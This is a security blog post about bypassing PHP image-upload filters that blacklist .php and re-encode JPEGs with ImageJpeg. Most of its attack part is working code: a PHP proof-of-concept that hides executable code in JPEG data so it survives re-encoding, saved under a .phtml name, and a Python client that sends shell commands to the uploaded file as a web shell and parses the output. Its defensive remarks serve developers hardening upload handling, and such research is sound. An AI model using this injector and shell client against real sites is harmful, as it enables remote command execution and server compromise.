A while ago I was reading a forum thread about file upload scripts in the PHP scripting language. The people in the thread were discussing different ways of handling different file types when allowing users on their websites to upload files to the server. Security wasn’t really on the topic here, but there were still mentions of it. The most common problem that is mentioned when it comes to file uploading is that there is a need to somehow restrict what kind of files the users are allowed to upload, how to handle them once they are on the server and so on.

In this case their solution was to disallow users from uploading files with the php extension, and then by using a PHP function called ImageJpeg they would verify that the users were uploading valid pictures (The forum user in question was making an image upload script for his community website). Now, as a developer I can see why this seems like a pretty nice idea, since the data would be verified and changed in the ImageJpeg function. If the file was not a valid image then the function would return false and the file would not be properly uploaded. And even if a malicious user were to put code within the data part of the image, that data would always be changed when the ImageJpeg function has finished and saved the file to disc.

The so called “black listing” of file extensions is usually not a good idea since there exists many different alternatives to one executable extension. If we take the example above where they prevented users from uploading files with the php extension. PHP has 5 alternative extensions, these being .php3, .php4, .php5, .phtml and .phps. And if a developer of a script only restricts .php, then the other 5 can be used instead to upload malicious code to the server.

I found it an interesting topic and decided to see if I can somehow bypass their protection and upload executable code to my test server using their upload scripts. The first thing that came to mind was that jpeg images allow so called “exif” data that can hold comments for image viewers and editors to display in different ways. I thought I could use this rather common method to include a small chunk of code that would then be executed on the server. Although this bubble burst rather quickly as I discovered that the ImageJpeg function always overwrites the exif data with its own, including the comments.

The next idea I had was to utilize a hex editor to see if I can insert the code into the image data itself, while making sure it’s still a valid image that would pass through the ImageJpeg function. The difficulty with this, just as discussed in the thread, was that the data was always changed and thus my code was not intact when the file was saved to disc. The image would in almost all cases be a valid one, although a bit distorted due to my meddling.

After hours of playing around with this I managed to get an image that when injected with code and run through the function, the code would still be intact and executable on my server.

hex

So after even more hours of trying to perfect this method, making sure the image is always a valid one and that it’s not too distorted from the changes, I wrote a script that injects the code automatically and makes sure that the code will still be there after being changed with different image handling tools, like the ImageJpeg function (It was also tested with tools that performs resize on the picture, and although this worked in many cases it was significantly harder to retain the code after processing).

Below is the picture before the injection

logo

 

Followed by the picture after the injection (notice how in this example, the picture got a little bit distorted at the end. This varies from case to case). Don’t worry, the code can’t execute in its current form.

logo_mod

 

The PoC script I wrote to automate the process.

<?php
ini_set('display_errors', 0);
error_reporting(0);

//File that contains the finished result to be uploaded
$result_file = 'pic.jpg.phtml';

//Original input file
$orig = 'test.jpg';

//Temp filename
$filename = $orig . '_mod.jpg';

//Code to be hidden in the image data
$code = '';

echo "-=Imagejpeg injector 1.6=-\n";

$src = imagecreatefromjpeg($orig);
imagejpeg($src, $filename, 100);
$data = file_get_contents($filename);
$tmpData = array();

echo "[+] Jumping to end byte\n";
$start_byte = findStart($data);

echo "[+] Searching for valid injection point\n";
for($i = strlen($data)-1; $i > $start_byte; --$i)
{
	$tmpData = $data;
	for($n = $i, $z = (strlen($code)-1); $z >= 0; --$z, --$n)
	{
	    $tmpData[$n] = $code[$z];
	}

	$src = imagecreatefromstring($tmpData);
	imagejpeg($src, $result_file, 100);

	if(checkCodeInFile($result_file, $code))
	{
	    unlink($filename);
	    unlink($result_file);
	    sleep(1);

	    file_put_contents($result_file, $tmpData);
	    echo "[!] Temp solution, if you get a 'recoverable' error here, it means it probably failed\n";

	    sleep(1);
	    $src = imagecreatefromjpeg($result_file);

	    echo "[+] Injection completed successfully\n";
	    echo "[+] Filename: " . $result_file . "\n";
	    die();
	}
	else
	{
	    unlink($result_file);
	}
}

echo "[-] Unable to find valid injection point. Try a shorter command or another image\n";

function findStart($str)
{
    for($i = 0; $i 

So to summarize. After a few days I did manage to bypass their protection followed by writing a script to automate it all. Some example output from the script can be seen below.


[+] Jumping to end byte
[+] Searching for valid injection point
[+] Injection completed successfully
[+] Filename: result.phtml

And to top it up I also made a small script to send commands to the file once it has been uploaded to a server, parse the results out of the image data once returned and display it.

#!/usr/bin/python

import urllib.request
import argparse
import http.client
import urllib.parse
import re

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("domain", help="domain to connect to")
    parser.add_argument("port", help="port to connect to")
    parser.add_argument("path", help="path to the jellyshelly file")
    args = parser.parse_args()
    domain = args.domain
    path = args.path
    port = args.port

    if(makeTest(domain, path, port)):
        cmd = ""
        print("Type exit to end session")
        while(cmd != "exit"):
            cmd = input(" ")

            if(cmd.strip() != ''):
                makeRequest("echo \"foiwe303t43jd $("+cmd+") foiwe303t43jd\"", domain, port, path)

def makeRequest(cmd, domain, port, path):
    lines = cmd.split('\n')

    httpServ = http.client.HTTPConnection(domain, port)
    httpServ.connect()

    params = urllib.parse.urlencode({'c': cmd})
    headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}

    httpServ.request('POST', path, params, headers)
    response = httpServ.getresponse()
    response_string = response.read().decode("utf-8", "replace")

    if response.status == http.client.OK:
        for result in re.findall(r'(?<=foiwe303t43jd).*?(?=foiwe303t43jd)', response_string, re.DOTALL):
            print(result.strip())
    httpServ.close()

def makeTest(domain, path, port):
    httpServ = http.client.HTTPConnection(domain, port)
    httpServ.connect()
    httpServ.request('GET', path)
    response = httpServ.getresponse()

    print(response.status)
    return response.status == http.client.OK

if __name__ == "__main__":
    main()

uname -a
Linux truesechp01 3.13.0-29-generic #53-Ubuntu SMP Wed Jun 4 21:00:20 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

And this shows how very easy it is for things to go wrong with file upload functionality. There are so very many ways to do bad things with it, and a motivated attacker can in many cases spend days, months or even years to find a way around your protection mechanisms. The trick I have showed you in this article today is not limited to PHP, but can be applied in other environments as well. There are a few measures that can be good enough depending on the situation when handling uploaded files to a server, but there’s no silver bullet as there are in many cases ways to circumvent them as well, the best example being that the developer who implements it simply does it wrongly (classic one is that they only check for the presence of .jpg in a filename, which would then allow the uploading of a file.jpg.php).

For those who decide to solve all this by using blacklisting and block file extensions like .php,.phtml,.php4,.php4,.php5. Be aware, PHP 6 will be released eventually.

Tagged with: , , ,
Posted in Hacking
Categories